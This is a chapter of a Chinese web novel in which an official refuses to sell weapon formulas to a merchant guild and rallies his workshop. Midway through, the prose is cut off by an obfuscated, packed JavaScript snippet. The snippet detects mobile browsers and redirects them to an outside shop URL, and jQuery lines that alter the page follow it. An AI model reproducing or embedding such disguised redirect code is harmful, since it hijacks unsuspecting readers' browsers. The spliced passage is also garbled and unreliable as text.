黑衣人被放走的第三天,将作监来了一个人。
不是裴氏的,也不是冯道派来的。是个生面孔,四十来岁,穿着商人的袍子,身后跟着两个挑担子的伙计。他站在门口,笑眯眯地递上一张拜帖。
孙二接过拜帖,看了一眼,脸色变了。
“江南商会的人。”他把拜帖递给李默,压低声音,“来者不善。”
李默接过拜帖。上面写着三个字:钱通
“江南商会的人来干什么?”
“不知道。”孙二说,“但他们不做亏本的买卖。来,肯定有事。”
李默沉默了一会儿,说:
“让他进来。”
---
钱通走进院子的时候,脸上的笑容没断过。
他是个胖子,但不是三爷那种油腻的胖——是那种和气生财的胖,白白净净,笑起来眼睛眯成一条缝,让人看了就生不出防备。
“李大人!”他一进门就拱手,“久仰久仰!在下钱通,江南商会汴梁分号的掌柜。早听说将作监来了个能人,一直想来拜会,今天总算得空了!”
李默没动。
“钱掌柜有什么事?”
钱通笑容不变,从袖子里摸出一个锦盒,双手递上。
“一点薄礼,不成敬意。”
李默没接。
“无功不受禄。”
“哎——”钱通把锦盒往他手里塞,“李大人这话就见外了。咱们江南商会,最喜欢结交有本事的人。您在将作监干的那些事,我们都听说了。炼硝、打铁、带着这些弟兄们自力更生——了不得!了不得!”
李默接过锦盒,打开看了一眼。
里面躺着两根金条。
他把锦盒合上,递回去。
“钱掌柜,有话直说。”
钱通的笑容僵了一下,但很快又恢复了。
“李大人快人快语,那在下就直说了。”他收起锦盒,往四周看了看,“借一步说话?”
李默想了想,点了点头。
他把钱通带进屋里,关上门。
钱通坐下来,脸上的笑容淡了一点,换成一种推心置腹的表情。
“李大人,您在将作监干的事,我们都看在眼里。裴氏那边的事,我们也听说了。说实话,这汴梁城里,敢跟裴氏对着干的人,您是头一个。”
李默没说话。
“但您也得承认,”钱通压低声音,“您现在是站在悬崖边上。裴氏那边,不会善罢甘休。这次派三个,下次可能就是三十个。您这将作监,拢共二十来个人,能挡几次?”
李默看着他。
“钱掌柜想说什么?”
钱通凑近一点。
“我们江南商会,愿意帮您。”
“怎么帮?”
“简单。”钱通说,“我们出人、出钱、出关系。您在明,我们在暗。裴氏的人再来,我们帮您挡。朝中有人为难您,我们帮您摆平。甚至——您需要的那些材料,硝石、铁锭、煤炭,我们都能给您送来,比裴氏的便宜,比裴氏的好。”
李默沉默了一会儿。
“条件呢?”
钱通笑了。
“李大人聪明。条件也简单——您做的那些东西,震天雷、火蒺藜、还有那些我们不知道的东西,卖给我们一份。”
他看着李默,眼睛里有一道光。
“不白要。我们出钱买。一份配方,一千两银子。您有多少,我们收多少。”
李默没说话。
屋里很静,静得能听见外面的打铁声。
“钱掌柜。”李默说,“你们要配方干什么?”
钱通的笑容不变。
“做生意。江南商会做的是天下的生意。西域、漠北、南洋,都有我们的船,我们的商队。您这些东西,拿到外面去,能换十倍百倍的价钱。”
他看着李默。
“李大人,您想想。您在这儿累死累活,一年能挣多少?朝廷给您的俸禄,够养活这几个人吗?裴氏那边还天天盯着您。何苦呢?”
李默站起来。
“钱掌柜,请回吧。”
钱通愣了一下。
“李大人,您不再考虑考虑?”
“不用考虑。”李默说,“配方不卖。”
钱通看着他,笑容慢慢收起来。
“李大人,您这是何必?我们不是裴氏,我们是来帮您的。”
“我知道。”李默说,“但配方不卖。”
钱通沉默了一会儿。
然后他站起来,拍了拍袍子。
“李大人,在下说句不该说的——您这脾气,迟早吃亏。”
他往外走,走到门口又停下来。
“对了,有一件事,顺便告诉您。”他没回头,“那个叫阿箬的女孩,我们知道她是谁。裴家二房的余孽。您留着她,迟早是个麻烦。”
李默的手攥紧了。
“还有,”钱通回头看了他一眼,“您那个徒弟,阿钝——挺机灵的孩子。小心点,别让人拐走了。”
门关上了。
李默站在屋里,听着脚步声渐渐远去。
---
夜里,李默把阿箬叫到院子里。
月光还是那么亮。阿箬蹲在墙根,抱着膝盖,看着他。
“钱通说的那些话,你听见了?”
阿箬点了点头。
“他说我是麻烦。”
李默没说话。
“他说得对。”阿箬说,“我是麻烦。裴氏的人知道我在这儿,不会放过我。你留着我,会连累你。”
李默看着她。
“你想走?”
阿箬沉默了一会儿。
“你想让我走吗?”
李默没回答。
他蹲下来,平视着她的眼睛。
“阿箬。”他说,“我问你一件事。”
“嗯。”
“那天晚上,你捅死那个胖子,跑出来之后,为什么跟着我们?”
阿箬看着他,月光照在她脸上,照出那道疤。
“因为你看我的眼神。”她说,“和别人不一样。”
“哪里不一样?”
“别人看我,像看货。”她说,“你看我,像看人。”
这句话她说过一遍。那时候李默没太在意。现在——
现在他听进去了。
“就因为这个?”
阿箬想了想。
“还因为,”她说,“你身上有股味。”
李默愣了一下。
“什么味?”
“和我娘一样的味。”阿箬说,“死过很多次、但还想活着的味。”
李默没说话。
月光照在他们中间,照出一地惨白。
“阿箬。”他说。
“嗯。”
“你知道什么叫‘技术’吗?”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401598|200419||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
阿箬摇头。
“技术就是,”李默说,“让那些想活着的人,能活得更久一点。”
他看着她的眼睛。
“你想学吗?”
阿箬的眼睛里,冷的那一层下面,有光在动。
“想。”
“那就留下。”李默说,“不管谁来,不管他们说什么。”
阿箬看着他。
月光下,她的眼睛里第一次有了别的东西——不是冷,不是恨,是一种李默叫不出名字的光。
“好。”她说。
---
第二天一早,李默把所有人都叫到院子里。
二十一个人,站成三排。老的,病的,小的,全在。
孙二站在旁边,抱着胳膊,脸上写着“你又想干啥”。
李默站在他们面前。
“昨天江南商会的人来了。”他说,“想买咱们的配方。一千两银子一份。”
没人说话。
“我没卖。”
还是没人说话。
“但他们会再来。”李默说,“裴氏也会再来。还有其他人。这个世道,谁手里有铁,谁说了算。咱们现在有铁了,就会有越来越多的人来找咱们。”
他看着那些人的眼睛。
“我可以走。”他说,“一个人走,躲到没人找得到的地方。但我没走。”
“为什么?”周老倔问。
李默想了想。
“因为走了,”他说,“那些死在火里的人,就白死了。”
周老倔的眼睛红了。
“还有,”李默说,“我想看看,咱们这些人,到底能走多远。”
他顿了顿。
“从今天起,将作监改个规矩。”
所有人都竖起耳朵。
“想走的,现在走。我发路费,够你们活半年。”
没人动。
“想留的,留下。但留下就得干活,干活就得学。学会的,以后就是我徒弟。学不会的,继续干,干到会为止。”
他看着那些铁匠。
“还有——以后不管谁来,不管他们说什么,咱们不卖配方,不卖手艺,不卖人。谁要是卖,我亲手送他去见裴氏的人。”
院子里很静。
然后周老倔往前走了一步。
“李头儿,你说啥是啥。我这条命,以后就是你的。”
其他铁匠跟着往前走。
“我也是!”
“我也是!”
声音越来越大,越来越乱,最后变成一片嗡嗡的嘈杂。
李默站在那里,听着这些喊声。
孙二走过来,站到他旁边。
“行了。”他说,“这些人,以后你甩不掉了。”
李默没说话。
他看着那些铁匠的脸。老的,病的,小的,脸上都有一种他从没见过的东西。
那不是感激。
是一种更复杂的东西——像是找到了活着的理由。
远处,阿箬蹲在柴房门口,手里拿着那把短刀,一下一下地擦着。
阿钝站在她旁边,眼睛亮亮的,不知道在说什么。
阳光照在他们身上,照出一层淡淡的暖意。
李默忽然想起冯道说的那句话——
“老夫想要这个世道,少一点人油灯。”
他抬起头,看着天上的太阳。
这条路,还长着呢。